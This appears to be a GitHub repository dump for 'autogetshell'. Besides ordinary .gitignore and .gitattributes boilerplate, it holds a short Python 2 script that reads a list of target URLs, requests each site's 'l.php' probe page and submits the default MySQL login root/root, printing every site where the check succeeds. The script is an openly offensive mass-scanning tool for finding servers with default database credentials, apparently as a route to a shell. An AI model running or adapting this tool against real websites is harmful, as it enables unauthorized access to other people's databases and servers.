├── .gitattributes ├── .gitignore ├── README.md ├── autogetshell.py ├── get.PNG └── getok.PNG /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # PyInstaller 26 | # Usually these files are written by a python script from a template 27 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 28 | *.manifest 29 | *.spec 30 | 31 | # Installer logs 32 | pip-log.txt 33 | pip-delete-this-directory.txt 34 | 35 | # Unit test / coverage reports 36 | htmlcov/ 37 | .tox/ 38 | .coverage 39 | .cache 40 | nosetests.xml 41 | coverage.xml 42 | 43 | # Translations 44 | *.mo 45 | *.pot 46 | 47 | # Django stuff: 48 | *.log 49 | 50 | # Sphinx documentation 51 | docs/_build/ 52 | 53 | # PyBuilder 54 | target/ 55 | 56 | # ========================= 57 | # Operating System Files 58 | # ========================= 59 | 60 | # OSX 61 | # ========================= 62 | 63 | .DS_Store 64 | .AppleDouble 65 | .LSOverride 66 | 67 | # Thumbnails 68 | ._* 69 | 70 | # Files that might appear on external disk 71 | .Spotlight-V100 72 | .Trashes 73 | 74 | # Directories potentially created on remote AFP share 75 | .AppleDB 76 | .AppleDesktop 77 | Network Trash Folder 78 | Temporary Items 79 | .apdisk 80 | 81 | # Windows 82 | # ========================= 83 | 84 | # Windows image file caches 85 | Thumbs.db 86 | ehthumbs.db 87 | 88 | # Folder config file 89 | Desktop.ini 90 | 91 | # Recycle Bin used on file shares 92 | $RECYCLE.BIN/ 93 | 94 | # Windows Installer files 95 | *.cab 96 | *.msi 97 | *.msm 98 | *.msp 99 | 100 | # Windows shortcuts 101 | *.lnk 102 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/az0ne/autogetshell/1f99029ebcd8b868d24ec33ff3cf426336315071/README.md -------------------------------------------------------------------------------- /autogetshell.py: -------------------------------------------------------------------------------- 1 | import sys, urllib2,gzip,StringIO,re,sys,os,time 2 | os_char='gb18030' 3 | def Login(url): 4 | try: 5 | url = url + 'l.php' 6 | params = "host=localhost&port=3306&login=root&password=root&act=MySQL%E6%A3%80%E6%B5%8B&funName=" 7 | headers = { 8 | "Accept": "image/gif, */*", 9 | "Accept-Language": "zh-cn", 10 | "Content-Type": "application/x-www-form-urlencoded", 11 | "Accept-Encoding": "gzip, deflate", 12 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 13 | "Connection": "Keep-Alive", 14 | "Cache-Control": "no-cache" 15 | } 16 | request = urllib2.Request( 17 | url, 18 | data = params, 19 | headers=headers 20 | ) 21 | response = urllib2.urlopen(request) 22 | data = response.read() 23 | reli = re.findall(u'',data) 24 | print reli[0].decode("utf-8").encode(os_char),url 25 | except: 26 | pass 27 | if __name__ == '__main__': 28 | 29 | 30 | fp=open("url.txt", "r") 31 | alllines=fp.readlines() 32 | fp.close() 33 | for eachline in alllines: 34 | eachline=eachline.strip('\n') 35 | Login(eachline) 36 | -------------------------------------------------------------------------------- /get.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/az0ne/autogetshell/1f99029ebcd8b868d24ec33ff3cf426336315071/get.PNG -------------------------------------------------------------------------------- /getok.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/az0ne/autogetshell/1f99029ebcd8b868d24ec33ff3cf426336315071/getok.PNG --------------------------------------------------------------------------------